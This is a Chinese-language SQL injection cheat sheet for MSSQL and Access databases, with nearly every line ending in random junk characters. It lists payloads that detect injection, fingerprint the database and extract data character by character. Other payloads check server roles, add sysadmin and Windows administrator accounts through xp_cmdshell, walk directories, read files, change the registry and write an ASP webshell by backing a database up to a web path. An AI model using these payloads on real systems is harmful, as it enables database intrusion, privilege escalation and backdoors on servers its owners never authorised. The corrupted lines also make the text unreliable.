1.判断是否有注入;and 1=1 ;and 1=2 8$kXC+
2.初步判断是否是mssql ;and user>0 })lT fy
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3.注入参数是字符'and [查询条件] and ''=' 3{:<z4>{
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' ;
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5.判断数据库系统 zD;]
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;and (select count(*) from sysobjects)>0 mssql !u}3H|6~
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;and (select count(*) from msysobjects)>0 access EE6|9K>
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 Zw][c7%
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 #L:P
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 BQ&q<6Tk
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9.(1)猜字段的ascii值(access) ,l .U^d6>
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 y!N)@y4
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(2)猜字段的ascii值(mssql) lp-Zx[#`}C
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 F}(QKO*
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10.测试权限结构(mssql) 0"psKf'
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- OsL%SKs|
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- `uZv9I"
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- }K80G~O2<
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- C'czXZtn
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 2{B(j&{
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- Jrd4a~XP
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;and 1=(select IS_MEMBER('db_owner'));-- rk,1am:cg
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11.添加mssql和系统的帐户 rgdQR^!l6
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;exec master.dbo.sp_addlogin username;-- U+PCvl=x
;exec master.dbo.sp_password null,username,password;-- Cz@FZb8
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- V.Ba''E7
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;exec master.dbo.xp_cmdshell 'net user username password Yuo1'gE+
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- BU:Ecchbr
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- [TK? P0
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- I\rZk9F
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12.(1)遍历目录 Wda\a.bXT
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;create table dirs(paths varchar(100), id int) 0L0Jc,(F+
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;insert dirs exec master.dbo.xp_dirtree 'c:\' @?3vRs}h
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;and (select top 1 paths from dirs)>0 =Esbeb7P
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) z/0yO@_D/q
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(2)遍历目录 K)Zkj"y
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 6I&j
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;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 WHgV_o 8
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 tCbr<Ug
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 eMN+qkvH
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 L7Qo-
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13.mssql中的存储过程 eA1k)gjE
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xp_regenumvalues 注册表根键, 子键 oE!hF }O
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 NqT1buU#
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xp_regread 根键,子键,键值名 ..jq[(;N
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;exec xp_regread x/%7%_+'
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ]{|fYt_-
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xp_regwrite 根键,子键, 值名, 值类型, 值 tg7C;rJ
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 U~{Sa+
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 N
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xp_regdeletevalue 根键,子键,值名 O1?B{F/ e
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 FgOUe
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 (|g").L
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14.mssql的backup创建webshell t7|MkX1
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use model |?x^8e<*
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create table cmd(str image); 0 W~.WkD
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insert into cmd(str) values (''); 0rk u4T
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backup database model to disk='c:\l.asp'; w::r?.9
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15.mssql内置函数 8?e
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;and (select @@version)>0 获得Windows的版本号 cs K>iN
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa gf0PMc3l
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;and (select user_name())>0 爆当前系统的连接用户 :v#k&Uh3y
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;and (select db_name())>0 得到当前连接的数据库 I:F'S#
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16.简洁的webshell tCZpfZ@+=
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use model IIq"e~"Vs
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create table cmd(str image); LKqRvPnh
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insert into cmd(str) values (''); xik`W!1S
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backup database model to disk='g:\wwwtest\l.asp';